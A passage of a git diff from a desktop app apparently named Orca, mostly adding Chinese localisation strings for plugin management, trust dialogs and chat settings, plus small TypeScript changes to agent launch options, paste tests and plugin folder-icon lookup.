"開啟面板:{{value0}}" + "openName": "開啟面板:{{value0}}", + "needsWorkspace": "需要開啟的工作區" }, "PluginContributionActionSyntax": { "openExtension": "開啟任一 {{value0}} 檔案", @@ -12843,7 +12895,10 @@ "updated": "更新時間", "license": "授權", "whatsNew": "新功能", - "installs": "安裝次數" + "installs": "安裝次數", + "hashCopied": "已複製內容雜湊", + "hashCopyFailed": "無法複製雜湊。", + "readme": "在 {{value0}} 上閱讀 README" }, "PluginDetailPage": { "back": "外掛", @@ -12854,7 +12909,20 @@ "requiresValue": "Orca {{value0}} 或更新版本", "categories": "類別", "pluginId": "外掛 ID", - "repository": "存放庫" + "repository": "存放庫", + "bundled": "隨 Orca 附帶", + "localFolder": "本機資料夾", + "gitUrl": "Git URL", + "stoppedTitle": "發生錯誤後已停止", + "stoppedBody": "它持續當機。請重新啟動以再試一次。", + "invalidTitle": "Orca 無法載入此外掛", + "needsOrcaTitle": "需要 Orca {{value0}} 或更新版本", + "needsOrcaBody": "你目前使用 Orca {{value0}}。", + "newerTitle": "有較新的版本", + "newerBody": "你瀏覽此頁時目錄已有變更。", + "showNewer": "顯示較新版本", + "stoppedDataBody": "無法載入其檔案。請重新啟動以再試一次。", + "alsoListedBy": "{{value0}} 也有列出此外掛。更新只會來自安裝時使用的目錄;若要切換,請移除後重新安裝。" }, "PluginDetailSections": { "typeLanguagePack": "介面語言", @@ -12873,7 +12941,12 @@ "accessLoading": "正在讀取外掛…", "accessFailed": "無法讀取其存取權限", "retry": "重試", - "customEditor": "編輯器" + "customEditor": "編輯器", + "panel": "側邊欄面板", + "recipe": "機器配方", + "logs": "記錄", + "copyLogs": "複製", + "noAccessReach": "不會存取自身檔案以外的任何內容" }, "PluginFilterPopover": { "kind": "類別", @@ -12902,7 +12975,9 @@ "replacesShortcut": "{{value0}}({{value1}})會取代你的「{{value2}}」快捷鍵。", "updatesKeepApproval": "更新只會針對新的存取權限再次詢問", "fullAccessUpdates": "更新可能會在未詢問的情況下變更其程式碼", - "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案。它可以讀取自己開啟的檔案。" + "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案。它可以讀取自己開啟的檔案。", + "install": "安裝並啟用", + "keepOff": "保持關閉" }, "PluginListEmptyStates": { "noFilterMatches": "沒有符合這些篩選條件的外掛", @@ -12923,7 +12998,18 @@ "updateAll": "全部更新…", "notFromCatalog": "非目錄來源", "allInstalledTitle": "目錄中的外掛已全部安裝", - "showInstalled": "顯示已安裝的外掛" + "showInstalled": "顯示已安裝的外掛", + "verified": "已驗證", + "unverified": "未驗證", + "catalogLoading": "目錄", + "catalogFailedTitle": "無法載入外掛目錄。", + "catalogFailedBody": "已安裝的外掛仍可正常運作。", + "sourceFailedTitle": "無法載入此目錄。", + "sourceFailedBody": "已安裝的外掛仍可正常運作。", + "sources": "來源…", + "sourceStaleTitle": "無法重新整理此目錄。", + "sourceStaleBody": "顯示的是 {{value0}} 的副本。", + "shownOf": "{{value0}} / {{value1}}" }, "PluginManagerRows": { "reinstall": "重新安裝", @@ -12944,7 +13030,14 @@ "rollbackTo": "回復到 {{value0}}…", "copyContentHash": "複製內容雜湊", "reviewUpdate": "審查更新", - "dataLoadFailed": "無法載入其檔案" + "dataLoadFailed": "無法載入其檔案", + "copied": "已複製外掛 ID", + "copyFailed": "無法複製外掛 ID。", + "details": "詳細資料", + "unverified": "未驗證", + "updateAvailable": "有可用的更新 {{value0}}", + "updateNeedsReview": "更新 {{value0}} 需要審查", + "updatedTo": "已更新至 {{value0}}" }, "pluginInstallAction": { "installed": "已安裝 {{value0}}", @@ -12982,7 +13075,105 @@ "PluginThemeUseNow": { "assignedLight": "已將 {{value0}} 設為淺色主題", "assignedDark": "已將 {{value0}} 設為深色主題", - "saveFailed": "無法儲存主題。請再試一次。" + "saveFailed": "無法儲存主題。請再試一次。", + "label": "立即使用:", + "useForLight": "用於淺色:", + "useForDark": "用於深色:" + }, + "PluginInstallTrustDialog": { + "titleFolder": "請確認你信任此資料夾", + "title": "請確認你信任 {{value0}}", + "theme": "此主題來自 {{value0}},而非 Orca。請只安裝你信任的作者的外掛。", + "content": "此外掛來自 {{value0}},而非 Orca。請只安裝你信任的作者的外掛。", + "translations": "此翻譯來自 {{value0}},而非 Orca。翻譯可以變更 Orca 中的任何文字,因此請只安裝你信任的作者的翻譯。", + "code": "此外掛來自 {{value0}},而非 Orca。它會在 Orca 內執行發布者的程式碼,因此僅在你信任 {{value0}} 時安裝。", + "git": "Orca 尚未檢查此存放庫。來自它的外掛可以在 Orca 內執行發布者的程式碼,因此僅在你信任 {{value0}} 時安裝。", + "localFolder": "這是未經驗證的本機資料夾。來自它的外掛可以在 Orca 內執行程式碼,因此僅在你信任其來源時安裝。", + "devFolder": "這是未經驗證的本機資料夾。Orca 會按原樣載入其外掛,之後的程式碼修改會直接執行而不再詢問,因此請只新增你信任的資料夾。", + "publisher": "發布者", + "repository": "存放庫", + "folder": "資料夾", + "catalog": "目錄", + "cancel": "取消", + "addFolder": "新增資料夾", + "install": "安裝" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "圖示主題", + "description": "來自已啟用外掛的檔案與資料夾圖示。", + "builtIn": "內建" + } + }, + "PluginAddMenu": { + "add": "新增外掛", + "folder": "從資料夾…", + "git": "從 Git URL…", + "sources": "目錄來源…" + }, + "PluginSettingsOverview": { + "offTitle": "外掛已關閉" + }, + "pluginContributions": { + "dark": "深色", + "light": "淺色", + "languageIncomplete": "已翻譯 {{value0}}%,完成度不足,無法作為 Orca 的介面語言", + "languageCoverage": "介面語言 · 已翻譯 {{value0}}%", + "newFileMenu": "加入 + 選單" + }, + "PluginPageAction": { + "failedTitle": "無法安裝 {{value0}}", + "contentOnly": "僅內容" + }, + "PluginSettingsMenu": { + "label": "外掛設定", + "development": "開發資料夾…", + "autoUpdateLabel": "自動更新外掛", + "autoUpdateHint": "只有在需要新的存取權限時才會再次詢問" + }, + "PluginPageHero": { + "screenshots": "螢幕截圖", + "openScreenshot": "開啟螢幕截圖:{{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "上一張螢幕截圖", + "next": "下一張螢幕截圖" + }, + "PluginContributionActionCommand": { + "run": "執行", + "runName": "執行 {{value0}}", + "ran": "已執行 {{value0}}", + "failed": "{{value0}} 執行失敗", + "seeLogs": "請參閱下方記錄", + "needsWorkspace": "需要開啟的工作區" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "建立工作區時", + "worktreeRemoved": "移除工作區時", + "agentStatusChanged": "代理狀態變更時", + "detail": "會在背景執行程式碼" + }, + "PluginChips": { + "updateNeedsReview": "更新需要審查", + "updatedTo": "已更新至 {{value0}}", + "devUnverified": "開發 · 未驗證" + }, + "PluginsAlphaNotice": { + "label": "Alpha:", + "body": "外掛介面可能會變更,部分細節仍可能調整。", + "dismiss": "關閉 Alpha 提示" + }, + "PluginStatus": { + "needsReview": "需要審查", + "restarting": "正在重新啟動", + "stopped": "已停止", + "cantLoad": "無法載入", + "off": "關閉", + "running": "執行中", + "on": "開啟", + "blocked": "已封鎖" + }, + "PluginContributionActionNewFile": { + "create": "建立" } }, "right": { @@ -14365,7 +14556,8 @@ "79aa06bb2c": "重新整理失敗。GitHub 的 API 暫時不可用。正在顯示上次已知狀態。", "6ec12cee0c": "重新整理失敗。現在無法存取 GitHub。正在顯示上次已知狀態。", "de088015e8": "重新整理失敗。GitHub 正在限制請求頻率。正在顯示上次已知狀態。", - "d9dd7c6687": "無法從 GitHub 重新整理。正在顯示上次已知狀態。" + "d9dd7c6687": "無法從 GitHub 重新整理。正在顯示上次已知狀態。", + "manual_provider": "無法從 {{provider}} 重新整理。請重試。" } } }, @@ -16397,6 +16589,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "無法將貼上的圖片儲存在文件旁。重新啟動 Orca 後可能無法載入該圖片。" + }, + "PluginFileTypeSuggestion": { + "message": "有外掛可以開啟 .{{value0}} 檔案:{{value1}}", + "view": "檢視外掛", + "notNow": "稍後再說", + "never": "不要再為 .{{value0}} 建議", + "editorMessage": "有外掛為 .{{value0}} 檔案提供編輯器:{{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "正在載入編輯器…", + "unresponsive": "{{value0}} 已停止回應。請切換到原始碼以繼續編輯。", + "loadFailed": "無法載入 {{value0}}。請切換到原始碼以編輯此檔案。", + "editTooLarge": "此檔案過大,{{value0}} 無法儲存變更。請改用原始碼。", + "saveBlocked": "無法儲存 {{value0}} 的最新變更。", + "editsHeld": "{{value0}} 傳送變更的速度過快;Orca 稍後會套用最新的一筆。", + "largeFile": "檔案較大,可能需要一點時間。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "重試", + "tooLarge": "{{value0}} 過大,無法在 {{value1}} 中開啟({{value2}};上限為 {{value3}})。", + "unsupported": "{{value0}} 無法從此檔案的儲存位置讀取它。請更新託管該檔案的 Orca 伺服器,或切換到原始碼。", + "readFailed": "無法為 {{value1}} 讀取 {{value0}}。{{value2}}" } }, "diff": { @@ -16719,7 +16933,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 外掛命令", - "keyword": "外掛命令" + "keyword": "外掛命令", + "newFileDescription": "在目前的工作區中建立未命名的 {{value0}} 檔案。" } } }, @@ -17963,6 +18178,10 @@ }, "PluginListRow": { "official": "官方" + }, + "PluginListGroup": { + "showAll": "再顯示 {{value0}} 個", + "showAllTotal": "顯示全部 {{value0}} 個外掛" } }, "terminalPane": { @@ -18400,6 +18619,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 次安裝" + }, + "PluginCatalogLinkDialog": { + "failed": "無法新增此目錄。", + "title": "要新增目錄 {{value0}} 嗎?", + "cancel": "取消", + "add": "新增目錄", + "body": "有連結要求顯示此目錄中的 {{value0}}。請只新增你信任之人的目錄。" } } }, @@ -19270,7 +19496,6 @@ "editMessage": "編輯訊息", "showFullMessage": "顯示完整訊息", "showLess": "收合", - "turnOffQueueing": "關閉排隊", "listLabel": "排隊的訊息", "alreadySent": "此訊息已傳送。", "withdrawnHold": "在傳送前已停止", @@ -19845,12 +20070,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "將後續訊息加入佇列", + "followUpBehaviorTitle": "將後續訊息加入佇列", "inlineVisualsTitle": "內嵌視覺化", "inlineVisualsCopy": "允許代理程式在其回覆中顯示圖表、示意圖和原型圖。適用於新啟動的聊天。", "inlineVisualsToggleLabel": "切換內嵌視覺化", - "queueFollowUpsCopy": "代理程式工作時傳送的訊息會以卡片形式等待,你可以立即傳送、編輯或刪除。帶圖片的訊息會立即傳送。", - "queueFollowUpsToggleLabel": "切換後續訊息佇列", + "followUpBehaviorCopy": "代理程式工作時傳送的訊息會以卡片形式等待到回合結束,而不是進入正在進行的回合。Cmd/Ctrl+Enter 會對單則訊息採取相反做法。", "behaviorTitle": "行為", "resumeSearchUpdate": "更新", "resumeSearchRelaunch": "重新啟動", diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json index 0f54d8c16d6..18028d952ff 100644 --- a/src/renderer/src/i18n/locales/zh.json +++ b/src/renderer/src/i18n/locales/zh.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}} 已不可用。请重新启用其插件。", "failed": "无法创建文件。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} 已更新到 {{value1}}", + "many": "已更新 {{value0}} 个插件" + }, + "pluginInstallLink": { + "invalid": "该插件链接无效。" } }, "lib": { @@ -6509,13 +6516,15 @@ "distro": "发行版", "loading": "正在查找 WSL 发行版…", "placeholder": "选择发行版", - "none": "未找到 WSL 发行版。使用以下命令安装:wsl --install", "stoppedHint": "{{value0}} 已停止。添加后会自动启动。", "addingHint": "正在发行版中安装并启动 Orca 服务器。首次可能需要一分钟。", "adding": "正在设置…", "startAndAdd": "启动并添加", "add": "添加主机", - "refresh": "刷新" + "refresh": "刷新", + "wsl1Reason": "WSL 1 无法运行 Orca 主机;请使用 {{command}} 转换", + "noWsl2Title": "未找到 WSL 2 发行版", + "noWsl2Install": "在 Windows 终端中使用 {{command}} 安装一个,然后选择“刷新”。" }, "wslHostRowStatus": { "connecting": "正在启动", @@ -11277,7 +11286,8 @@ "pathLabel": "开发插件文件夹路径", "placeholder": "插件文件夹路径", "add": "添加路径", - "reviewHelp": "只审核一次。之后的代码修改会直接运行。" + "reviewHelp": "只审核一次。之后的代码修改会直接运行。", + "dialogTitle": "开发文件夹" }, "PluginInstallDialog": { "localRequired": "请输入插件文件夹路径。", @@ -12482,7 +12492,9 @@ "repository": "仓库", "stoppedDataBody": "无法加载其文件。重新启动以重试。", "newerBody": "你浏览时目录已更改。", - "showNewer": "查看新版本" + "showNewer": "查看新版本", + "newerTitle": "有更新的版本", + "alsoListedBy": "{{value0}} 也收录了此插件。更新只来自安装时所用的目录;如需切换,请移除后重新安装。" }, "PluginDetailSections": { "typeLanguagePack": "界面语言", @@ -12532,7 +12544,9 @@ "rollbackTo": "回滚到 {{value0}}…", "copyContentHash": "复制内容哈希", "reviewUpdate": "审核更新", - "dataLoadFailed": "无法加载其文件" + "dataLoadFailed": "无法加载其文件", + "updateNeedsReview": "更新 {{value0}} 需要审查", + "updatedTo": "已更新到 {{value0}}" }, "PluginSettingsOverview": { "offTitle": "插件已关闭" @@ -12595,20 +12609,27 @@ "dark": "深色", "light": "浅色", "languageIncomplete": "已翻译 {{value0}}%,不够完整,无法用作 Orca 的语言", - "languageCoverage": "界面语言 · 已翻译 {{value0}}%" + "languageCoverage": "界面语言 · 已翻译 {{value0}}%", + "newFileMenu": "添加到 + 菜单" }, "PluginInstallConsent": { "noOtherAccess": "无其他访问权限", "replacesShortcut": "{{value0}}({{value1}})会替换你的“{{value2}}”快捷键。", "updatesKeepApproval": "仅在需要新访问权限时更新才会再次询问", "fullAccessUpdates": "更新可能会在不询问的情况下更改其代码", - "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件。它可以读取自己打开的文件。" + "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件。它可以读取自己打开的文件。", + "install": "安装并启用", + "keepOff": "保持关闭" }, "PluginPageAction": { - "contentOnly": "仅内容" + "contentOnly": "仅内容", + "failedTitle": "无法安装 {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "仅在需要新访问权限时再次询问" + "autoUpdateHint": "仅在需要新访问权限时再次询问", + "label": "插件设置", + "development": "开发文件夹…", + "autoUpdateLabel": "自动更新插件" }, "PluginInUseAction": { "inUseDark": "使用中 · 深色", @@ -12678,6 +12699,39 @@ "manyDescription": "在你审核之前不会更新。", "review": "审核", "dismiss": "关闭" + }, + "PluginInstallTrustDialog": { + "titleFolder": "请确认你信任此文件夹", + "title": "请确认你信任 {{value0}}", + "theme": "此主题来自 {{value0}},而非 Orca。请只安装你信任的作者的插件。", + "content": "此插件来自 {{value0}},而非 Orca。请只安装你信任的作者的插件。", + "translations": "此翻译来自 {{value0}},而非 Orca。翻译可以更改 Orca 中的任何文本,因此请只安装你信任的作者的翻译。", + "code": "此插件来自 {{value0}},而非 Orca。它会在 Orca 内运行发布者的代码,因此仅在你信任 {{value0}} 时安装。", + "git": "Orca 尚未检查此仓库。来自它的插件可以在 Orca 内运行发布者的代码,因此仅在你信任 {{value0}} 时安装。", + "localFolder": "这是未经验证的本地文件夹。来自它的插件可以在 Orca 内运行代码,因此仅在你信任其来源时安装。", + "devFolder": "这是未经验证的本地文件夹。Orca 会按原样加载其插件,之后的代码修改会直接运行而不再询问,因此请只添加你信任的文件夹。", + "publisher": "发布者", + "repository": "仓库", + "folder": "文件夹", + "catalog": "目录", + "cancel": "取消", + "addFolder": "添加文件夹", + "install": "安装" + }, + "PluginPageHero": { + "screenshots": "屏幕截图", + "openScreenshot": "打开屏幕截图:{{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "上一张屏幕截图", + "next": "下一张屏幕截图" + }, + "PluginChips": { + "updateNeedsReview": "更新需要审查", + "updatedTo": "已更新到 {{value0}}", + "devUnverified": "开发 · 未验证" + }, + "PluginContributionActionNewFile": { + "create": "创建" } }, "right": { @@ -14060,7 +14114,8 @@ "79aa06bb2c": "刷新失败。GitHub 的 API 暂时不可用。正在显示上次已知状态。", "6ec12cee0c": "刷新失败。现在无法访问 GitHub。正在显示上次已知状态。", "de088015e8": "刷新失败。GitHub 正在限制请求频率。正在显示上次已知状态。", - "d9dd7c6687": "无法从 GitHub 刷新。正在显示上次已知状态。" + "d9dd7c6687": "无法从 GitHub 刷新。正在显示上次已知状态。", + "manual_provider": "无法从 {{provider}} 刷新。请重试。" } } }, @@ -16091,13 +16146,29 @@ "message": "有插件可以打开 .{{value0}} 文件:{{value1}}", "view": "查看插件", "notNow": "暂不", - "never": "不再为 .{{value0}} 建议" + "never": "不再为 .{{value0}} 建议", + "editorMessage": "有插件为 .{{value0}} 文件提供编辑器:{{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "选择表情符号" }, "richMarkdownBlobImagePaste": { "saveFailed": "无法将粘贴的图片保存到文档旁。重启 Orca 后可能无法加载该图片。" + }, + "PluginCustomEditorFrame": { + "loading": "正在加载编辑器…", + "unresponsive": "{{value0}} 已停止响应。请切换到源代码以继续编辑。", + "loadFailed": "无法加载 {{value0}}。请切换到源代码以编辑此文件。", + "editTooLarge": "此文件过大,{{value0}} 无法保存更改。请改用源代码。", + "saveBlocked": "无法保存 {{value0}} 的最新更改。", + "editsHeld": "{{value0}} 发送更改的速度过快;Orca 稍后会应用最新的一次。", + "largeFile": "文件较大,可能需要一点时间。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "重试", + "tooLarge": "{{value0}} 过大,无法在 {{value1}} 中打开({{value2}};上限为 {{value3}})。", + "unsupported": "{{value0}} 无法从此文件的存储位置读取它。请更新托管该文件的 Orca 服务器,或切换到源代码。", + "readFailed": "无法为 {{value1}} 读取 {{value0}}。{{value2}}" } }, "diff": { @@ -16420,7 +16491,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 插件命令", - "keyword": "插件命令" + "keyword": "插件命令", + "newFileDescription": "在当前工作区中创建未命名的 {{value0}} 文件。" } } }, @@ -17657,7 +17729,8 @@ "notInstalled": "未安装" }, "PluginListGroup": { - "showAll": "再显示 {{value0}} 个" + "showAll": "再显示 {{value0}} 个", + "showAllTotal": "显示全部 {{value0}} 个插件" }, "PluginListRow": { "official": "官方" @@ -18153,6 +18226,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 次安装" + }, + "PluginCatalogLinkDialog": { + "failed": "无法添加此目录。", + "title": "要添加目录 {{value0}} 吗?", + "cancel": "取消", + "add": "添加目录", + "body": "有链接请求显示此目录中的 {{value0}}。请只添加你信任的人的目录。" } } }, @@ -18959,7 +19039,6 @@ "editMessage": "编辑消息", "showFullMessage": "显示完整消息", "showLess": "收起", - "turnOffQueueing": "关闭排队", "withdrawnHold": "在发送前已停止", "pausedSendFailed": "无法发送。点按发送以重试。", "paused": "已暂停", @@ -19593,9 +19672,8 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "将后续消息加入队列", - "queueFollowUpsCopy": "智能体工作时发送的消息会以卡片形式等待,你可以立即发送、编辑或删除。带图片的消息会立即发送。", - "queueFollowUpsToggleLabel": "切换后续消息队列", + "followUpBehaviorTitle": "将后续消息加入队列", + "followUpBehaviorCopy": "智能体工作时发送的消息会以卡片形式等待到回合结束,而不是进入正在进行的回合。Cmd/Ctrl+Enter 会对单条消息采取相反做法。", "inlineVisualsTitle": "内联可视化", "inlineVisualsCopy": "允许智能体在其回复中显示图表、示意图和原型图。适用于新启动的聊天。", "inlineVisualsToggleLabel": "切换内联可视化", @@ -20207,6 +20285,11 @@ }, "cardProperties": { "agentModel": "智能体模型" + }, + "wslHostOffer": { + "title": "将 {{distro}} 作为主机运行(推荐)", + "why": "Git、文件和终端将在 Linux 中原生运行,而不是通过 Windows 文件共享。", + "accept": "作为主机运行" } }, "editor": { @@ -20891,7 +20974,7 @@ }, "claude": { "added": "已添加账户。选择它即可将其用于您下次启动的 Claude。", - "nextLaunch": "{{value0}} → {{value1}}。您下次启动的 Claude 将使用它。正在运行的会话会保留其账户。", + "nextLaunch": "{{value0}} → {{value1}}。您下次启动的 Claude 终端将使用此账户。正在运行的 Claude 终端会保留其账户。", "profileSwitching": "切换会应用于您在任何标签页中下次启动的 Claude。正在运行的会话会保留其账户。", "systemDefault": "系统默认", "unnamedAccount": "Claude 账户", @@ -20921,8 +21004,8 @@ "title": "切换到 {{account}}", "dontAskAgainHint": "您可以在“设置”→“AI 提供商帐户”中关闭此功能。", "listLabel": "要重新启动的 Claude 会话", - "settingTitle": "Claude 运行期间切换账户时", - "settingDescription": "重启后,每个正在进行的对话都会在新账户上继续。", + "settingTitle": "Claude 在终端中运行期间切换账户时", + "settingDescription": "重启后,每个终端对话都会在新账户上继续。", "settingRestart": "总是重新启动", "session": "Claude 会话", "restartingOther": "正在 {{account}} 账户上重启 {{count}} 个 Claude 会话", diff --git a/src/renderer/src/lib/agent-session-launch-plan.ts b/src/renderer/src/lib/agent-session-launch-plan.ts index 13f15057c67..1021c187e4d 100644 --- a/src/renderer/src/lib/agent-session-launch-plan.ts +++ b/src/renderer/src/lib/agent-session-launch-plan.ts @@ -61,6 +61,7 @@ export type AgentSessionLaunchVerdict = { resumeFrom?: StructuredAgentSessionResumeSource onPromptDelivered?: () => void promptKeptByCaller?: true + draftFromScope?: string launchOptions?: Readonly> } @@ -98,6 +99,7 @@ function structuredLaunchOptions(verdict: AgentSessionLaunchVerdict): Structured ...(verdict.resumeFrom ? { resumeFrom: verdict.resumeFrom } : {}), ...(verdict.onPromptDelivered ? { onPromptDelivered: verdict.onPromptDelivered } : {}), ...(verdict.promptKeptByCaller ? { promptKeptByCaller: true as const } : {}), + ...(verdict.draftFromScope ? { draftFromScope: verdict.draftFromScope } : {}), ...(verdict.executionHostId ? { executionHostId: verdict.executionHostId } : {}), ...(verdict.launchOptions ? { launchOptions: verdict.launchOptions } : {}) } diff --git a/src/renderer/src/lib/app-menu-paste.test.ts b/src/renderer/src/lib/app-menu-paste.test.ts index 6388a5913db..1a508ad7678 100644 --- a/src/renderer/src/lib/app-menu-paste.test.ts +++ b/src/renderer/src/lib/app-menu-paste.test.ts @@ -43,22 +43,6 @@ describe('app menu paste', () => { expect(performNativePaste).not.toHaveBeenCalled() }) - it('falls back to native paste when no Orca-owned target is focused', async () => { - const button = document.createElement('button') - document.body.appendChild(button) - button.focus() - const performNativePaste = vi.fn() - - const result = await handleAppMenuPasteRequest({ - readClipboardText: vi.fn(async () => 'text'), - performNativePaste, - dispatchOwnedPasteEvent: () => false - }) - - expect(result).toEqual({ status: 'native-fallback', reason: 'no-owned-target' }) - expect(performNativePaste).toHaveBeenCalledWith({ mode: 'paste' }) - }) - it('preserves paste-and-match-style when falling back to native paste', async () => { const performNativePaste = vi.fn() @@ -144,21 +128,6 @@ describe('app menu paste', () => { expect(performNativePaste).toHaveBeenCalledWith({ mode: 'paste' }) }) - it('native-pastes an image-only clipboard so the control can take the image', async () => { - const textarea = appendTextarea() - textarea.focus() - const performNativePaste = vi.fn() - - const result = await handleAppMenuPasteRequest({ - readClipboardText: vi.fn(async () => ''), - performNativePaste, - dispatchOwnedPasteEvent: () => false - }) - - expect(result).toEqual({ status: 'native-fallback', reason: 'no-clipboard-text' }) - expect(performNativePaste).toHaveBeenCalledWith({ mode: 'paste' }) - }) - it('does not native-fallback when clipboard read fails after focus moves', async () => { const textarea = appendTextarea('unchanged') const other = appendTextarea('other') @@ -186,33 +155,4 @@ describe('app menu paste', () => { expect(other.value).toBe('other') expect(performNativePaste).not.toHaveBeenCalled() }) - - it('rejects oversized focused text-control paste without native fallback', async () => { - const textarea = appendTextarea('unchanged') - textarea.focus() - const performNativePaste = vi.fn() - - const result = await handleAppMenuPasteRequest({ - readClipboardText: vi.fn(async () => { - throw new Error('Clipboard text is too large for this paste target.') - }), - performNativePaste, - dispatchOwnedPasteEvent: () => false - }) - - expect(result).toMatchObject({ - status: 'rejected', - target: 'text-control', - reason: 'too-large' - }) - expect(result.status === 'rejected' ? result.redactedDiagnostic : '').toContain( - 'reason=too-large' - ) - expect(result.status === 'rejected' ? result.redactedDiagnostic : '').toContain('durationMs=') - expect(result.status === 'rejected' ? result.redactedDiagnostic : '').toContain( - 'content=redacted' - ) - expect(textarea.value).toBe('unchanged') - expect(performNativePaste).not.toHaveBeenCalled() - }) }) diff --git a/src/renderer/src/lib/file-type-icons.test.ts b/src/renderer/src/lib/file-type-icons.test.ts index e216f6b74d4..64286e956bc 100644 --- a/src/renderer/src/lib/file-type-icons.test.ts +++ b/src/renderer/src/lib/file-type-icons.test.ts @@ -1,7 +1,21 @@ import { describe, expect, it } from 'vitest' import { File } from 'lucide-react' import { parsePluginIconThemeArtifact } from '../../../shared/plugins/artifacts/plugin-icon-theme-artifact' -import { getFileTypeIcon, getPluginFileTypeIconIndex } from './file-type-icons' +import type { ActivePluginIconTheme } from '../store/plugin-icon-themes' +import { + getFileTypeIcon, + getPluginFileTypeIconIndex, + getPluginFolderIconIndex +} from './file-type-icons' + +const iconTheme = (maps: Partial): ActivePluginIconTheme => ({ + icons: {}, + fileNames: {}, + fileExtensions: {}, + folderNames: {}, + folderNamesExpanded: {}, + ...maps +}) describe('getFileTypeIcon', () => { it.each([ @@ -24,7 +38,7 @@ describe('parsed artifact lookup', () => { const indexes = Object.fromEntries( Object.keys(artifact.fileNames).map((key, index) => [key, index]) ) - const theme = { icons: {}, fileNames: indexes, fileExtensions: {} } + const theme = iconTheme({ fileNames: indexes }) expect(getPluginFileTypeIconIndex(theme, '/a/__proto__')).toBe(0) expect(getPluginFileTypeIconIndex(theme, '/a/CONSTRUCTOR')).toBe(1) expect(getPluginFileTypeIconIndex(theme, '/a/other')).toBeNull() @@ -32,11 +46,11 @@ describe('parsed artifact lookup', () => { }) describe('getPluginFileTypeIconIndex', () => { - const theme = { + const theme = iconTheme({ icons: { file: 3 }, fileNames: { 'readme.md': 1, ['__proto__']: 4 }, fileExtensions: { ts: 2 } - } + }) it('matches exact names, then extensions, then the file icon', () => { expect(getPluginFileTypeIconIndex(theme, '/a/README.md')).toBe(1) @@ -44,7 +58,7 @@ describe('getPluginFileTypeIconIndex', () => { }) it('matches the longest dotted extension the theme maps', () => { - const multi = { icons: {}, fileNames: {}, fileExtensions: { 'd.ts': 5, ts: 2, gz: 6 } } + const multi = iconTheme({ fileExtensions: { 'd.ts': 5, ts: 2, gz: 6 } }) expect(getPluginFileTypeIconIndex(multi, '/a/types.d.ts')).toBe(5) expect(getPluginFileTypeIconIndex(multi, '/a/index.ts')).toBe(2) expect(getPluginFileTypeIconIndex(multi, '/a/archive.tar.gz')).toBe(6) @@ -52,7 +66,7 @@ describe('getPluginFileTypeIconIndex', () => { }) it('ignores inherited Object.prototype names', () => { - const noFile = { icons: {}, fileNames: {}, fileExtensions: {} } + const noFile = iconTheme({}) for (const name of ['constructor', 'toString', 'hasOwnProperty', 'valueOf']) { expect(getPluginFileTypeIconIndex(noFile, `/a/${name}`)).toBeNull() expect(getPluginFileTypeIconIndex(noFile, `/a/x.${name}`)).toBeNull() @@ -61,8 +75,45 @@ describe('getPluginFileTypeIconIndex', () => { }) it('ignores non-index values', () => { - const bad = { icons: {}, fileNames: { 'a.txt': -1 }, fileExtensions: { md: 1.5 } } + const bad = iconTheme({ fileNames: { 'a.txt': -1 }, fileExtensions: { md: 1.5 } }) expect(getPluginFileTypeIconIndex(bad, '/a/a.txt')).toBeNull() expect(getPluginFileTypeIconIndex(bad, '/a/b.md')).toBeNull() }) }) + +describe('getPluginFolderIconIndex', () => { + const theme = iconTheme({ + icons: { folder: 0, 'folder-open': 1 }, + folderNames: { src: 2, docs: 4 }, + folderNamesExpanded: { src: 3 } + }) + + it('picks the name icon for the folder state, falling back to the generic slot', () => { + expect(getPluginFolderIconIndex(theme, 'SRC', false)).toBe(2) + expect(getPluginFolderIconIndex(theme, 'src', true)).toBe(3) + expect(getPluginFolderIconIndex(theme, 'other', false)).toBe(0) + expect(getPluginFolderIconIndex(theme, 'other', true)).toBe(1) + expect(getPluginFolderIconIndex(theme, undefined, true)).toBe(1) + }) + + it('prefers the generic open icon over a collapsed name icon when open', () => { + expect(getPluginFolderIconIndex(theme, 'docs', true)).toBe(1) + }) + + it('falls back to closed icons when the theme has no open ones', () => { + const closedOnly = iconTheme({ icons: { folder: 0 }, folderNames: { docs: 4 } }) + expect(getPluginFolderIconIndex(closedOnly, 'docs', true)).toBe(4) + expect(getPluginFolderIconIndex(closedOnly, 'other', true)).toBe(0) + }) + + it('matches the last segment of a compacted or Windows path', () => { + expect(getPluginFolderIconIndex(theme, 'packages/app/src', false)).toBe(2) + expect(getPluginFolderIconIndex(theme, String.raw`C:\repo\src`, true)).toBe(3) + }) + + it('ignores inherited Object.prototype names', () => { + const noSlots = iconTheme({}) + expect(getPluginFolderIconIndex(noSlots, 'constructor', false)).toBeNull() + expect(getPluginFolderIconIndex(noSlots, '__proto__', true)).toBeNull() + }) +}) diff --git a/src/renderer/src/lib/file-type-icons.ts b/src/renderer/src/lib/file-type-icons.ts index ef6d29fa9ae..cbd493d77be 100644 --- a/src/renderer/src/lib/file-type-icons.ts +++ b/src/renderer/src/lib/file-type-icons.ts @@ -97,3 +97,26 @@ export function getPluginFileTypeIconIndex( ownIconIndex(theme.icons, 'file') ) } + +/** The active plugin icon theme's icon index for a folder path's last segment. Open folders try + * the expanded name icon, the generic open icon, then fall back like closed ones: the name + * icon, then the generic folder icon. */ +export function getPluginFolderIconIndex( + theme: ActivePluginIconTheme | null, + folderPath: string | undefined, + open: boolean +): number | null { + if 